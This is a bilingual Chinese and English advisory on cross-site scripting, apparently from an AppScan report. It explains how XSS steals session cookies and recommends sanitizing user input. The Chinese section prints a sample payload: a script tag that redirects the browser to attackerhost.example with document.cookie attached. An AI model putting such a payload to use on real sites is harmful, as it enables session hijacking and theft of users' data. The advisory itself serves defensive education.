Cross-Site Scripting
應(yīng)用程序問(wèn)題
WASC分類： Cross-Site Scripting
分為：non-persistent and persistent（如放在BBS、bulletin boards..）
參考：
http://www.webappsec.org/projects/threat/classes/cross-site_scripting.shtml錯(cuò)誤等級(jí)：
嚴(yán)重（High）
風(fēng)險(xiǎn)：
可以偷盜或者操作用戶Session和Cookie，這樣攻擊者可以扮演一個(gè)合法的客戶進(jìn)行操作。
技術(shù)說(shuō)明：
Cross-Site Scripting是一種秘密攻擊行為，它能使得攻擊者獲得合法客戶的身份和特定的服務(wù)器進(jìn)行交互。攻擊者利用這樣一個(gè)事實(shí)：網(wǎng)站未對(duì)用戶在頁(yè)面中輸入的JavaScript（通常是作為參數(shù)值）進(jìn)行清洗（消毒）。這樣，當(dāng)在返回信息中包含這段JavaScript代碼，這段代碼就會(huì)在客戶端的Browser中執(zhí)行。這樣可能形成一個(gè)指向帶有惡意代碼的網(wǎng)站鏈接。這串代碼在這個(gè)站點(diǎn)環(huán)境中就會(huì)執(zhí)行，收集可以獲取的這個(gè)站點(diǎn)或者正在瀏覽這個(gè)網(wǎng)站的其他窗口的cookie，
攻擊者會(huì)做進(jìn)一步處理：攻擊者會(huì)誘使用戶點(diǎn)擊這個(gè)由攻擊者生成的鏈接。如果用戶點(diǎn)了這個(gè)鏈接，將會(huì)向包含惡意代碼作為參數(shù)的網(wǎng)站發(fā)起一個(gè)請(qǐng)求。如果這個(gè)網(wǎng)站將這串參數(shù)值（惡意代碼）嵌入在返回中，惡意代碼將在客戶端的瀏覽器中執(zhí)行：
惡意代碼可能會(huì)做：
1. 將用戶的cookie發(fā)送給攻擊者
2. 將能夠通過(guò)Dom(URLs, Form field 。。。)取到的信息發(fā)送給攻擊者
結(jié)果是客戶的安全性受到了威脅。
一些注釋：
1. 雖然攻擊者的Web Site也被卷入，但是并沒(méi)有直接包含進(jìn)來(lái)。攻擊者通過(guò)采用“jump station”方式將返回客戶，好像是合法的（It is used as a ‘jump station‘ for the malicious script sent by the attacker, to return to the victim‘s browser, as if it is legitimate.）。無(wú)論如何，由于用戶是在使用這個(gè)特定的網(wǎng)站，而且是這個(gè)網(wǎng)站的直接返回，因此可以認(rèn)為是這個(gè)網(wǎng)站的安全漏洞。
2. 這個(gè)懷有惡意的鏈接由攻擊者生成，可以包含在攻擊者自己維護(hù)的網(wǎng)站中。這個(gè)鏈接攻擊者也可以通過(guò)發(fā)送email的方式發(fā)送給受害人。
3. 由于用戶輸入是作為form的字段值，可以知道這串惡意代碼從什么地方來(lái)的，
4. 各種瀏覽器實(shí)現(xiàn)的不一樣，有時(shí)候在這種瀏覽器上沒(méi)有問(wèn)題，但是換一種瀏覽器就會(huì)有問(wèn)題。
攻擊方法：
寫一個(gè)鏈接： 參數(shù)值為：
<SCRIPT>
document.location= ‘http://attackerhost.example/cgi-bin/cookiesteal.cgi?+document.cookie
</SCRIPT>
這樣，當(dāng)服務(wù)器返回時(shí)，上面這串腳本將自動(dòng)執(zhí)行，將本地的Cookie發(fā)現(xiàn)指定的URL，用戶資料泄露了。
解決方式：
1. 加強(qiáng)對(duì)參數(shù)的校驗(yàn)：
一定要做，大量的漏洞都是針對(duì)參數(shù)未作校驗(yàn)引出很多攻擊手法(會(huì)有如何檢查參數(shù)的單獨(dú)說(shuō)明)
Cross-Site Scripting
Application
WASC Threat Classification
Client-side Attacks: Cross-site Scripting
http://www.webappsec.org/projects/threat/classes/cross-site_scripting.shtml
CVE Reference(s)
N/A
Security Risks
It is possible to steal or manipulate customer session and cookies, which may be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user
Possible Causes
Sanitation of hazardous characters was not performed correctly on user input
Technical Description
The Cross-Site Scripting attack is a privacy violation, that allows an attacker to acquire a legitimate user‘s credentials and to impersonate that user when interacting with a specific website. The attack hinges on the fact that the web site contains a script that returns a user‘s input (usually a parameter value) in an HTML page, without first sanitizing the input. This allows an input consisting of JavaScript code to be executed by the browser when the script returns this input in the response page. As a result, it is possible to form links to the site where one of the parameters consists of malicious JavaScript code. This code will be executed (by a user‘s browser) in the site context, granting it access to cookies that the user has for the site, and other windows in the site through the user‘s browser.
The attack proceeds as follows: The attacker lures the legitimate user to click on a link that was produced by the attacker. When the user clicks on the link, this generates a request to the web-site containing a parameter value with malicious JavaScript code. If the web-site embeds this parameter value into the response HTML page (this is the essence of the site issue), the malicious code will run in the user‘s browser.
Possible actions that can be performed by the script are:
[1] Send user‘s cookies (for the legitimate site) to the attacker.
[2] Send information that is accessible through the DOM (URLs, Form fields, etc.), to the attacker.
The result is that the security and privacy of the victim user is compromised on the vulnerable site.
Some notes:
[1] Although the attacked web site is involved, it is not compromised directly. It is used as a ‘jump station‘ for the malicious script sent by the attacker, to return to the victim‘s browser, as if it is legitimate. However, since the privacy of the victim is breached in the context of the specific site, and since the site is directly responsible, it is considered a security flaw in the site.
[2] The malicious link can be provided by the attacker, using a web site link, if the attacker maintains a site that is visited by the victim user. The malicious link can also be provided by email, if the attacker knows the user‘s email address, and the user‘s email client uses the browser to render the HTML message.
[3] While user input is most commonly found in form field values (i.e. URL parameters), there are known attacks where the malicious code is embedded in the path, query, or in the HTTP Referrer headers, and even in cookies.
[4] AppScan sends many types of Cross-Site Scripting attacks, including attacks that work only on specific browsers or versions of browsers. AppScan‘s "Show in Browser" feature uses Internet Explorer to show the vulnerability. In the case of variants to which Internet Explorer is not vulnerable, but other browsers are, the "Show in Browser" facility does not work and the popup is not shown. There are two possible scenarios for sending input to a web application that is vulnerable to cross-site scripting:
General Fix Recommendations
There are several issues whose remediation lies in sanitizing user input.
By verifying that user input does not contain hazardous characters, it is possible to prevent malicious users from causing your application to execute unintended operations, such as launch arbitrary SQL queries, embed Javascript code to be executed on the client side, run various operating system commands etc.
